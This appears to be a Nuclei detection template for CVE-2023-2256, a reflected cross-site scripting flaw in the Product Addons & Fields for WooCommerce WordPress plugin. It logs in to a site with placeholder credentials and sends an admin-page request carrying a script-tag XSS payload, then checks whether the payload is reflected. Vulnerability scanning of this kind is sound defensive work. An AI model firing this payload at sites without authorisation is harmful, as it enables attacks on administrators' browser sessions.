CVE-2023-2256: WordPress Product Addons & Fields for WooCommerce < 32.0.7 - Cross-Site Scripting

id: CVE-2023-2256

info:
  name: WordPress Product Addons & Fields for WooCommerce < 32.0.7 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The Product Addons & Fields for WooCommerce WordPress plugin before version 32.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape some URL parameters in the admin panel, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  reference:
    - https://wpscan.com/vulnerability/1187e041-3be2-4613-8d56-c2394fcc75fb
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2256
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2256
    cwe-id: CWE-79
    epss-score: 0.06383
    epss-percentile: 0.90646
    cpe: cpe:2.3:a:themeisle:product_addons_\&_fields_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: WordPress
    product: woocommerce-product-addon
    fofa-query: body="wp-content/plugins/woocommerce-product-addon/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,xss,woocommerce,woocommerce-product-addon,authenticated

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "woocommerce-product-addon"
          - "woocommerce"
        condition: and
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=ppom&productmeta_id=5&do_meta=edit&%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d0cfc99721b6895efd87439f08f57ae43041b385df7b97999f72fc86e1c2b8470220501b766b04b9296465e285af736da9852039f813fdc6b542eed4a0aa82a6ed6b:922c64590222798bb761d5b6d8e72950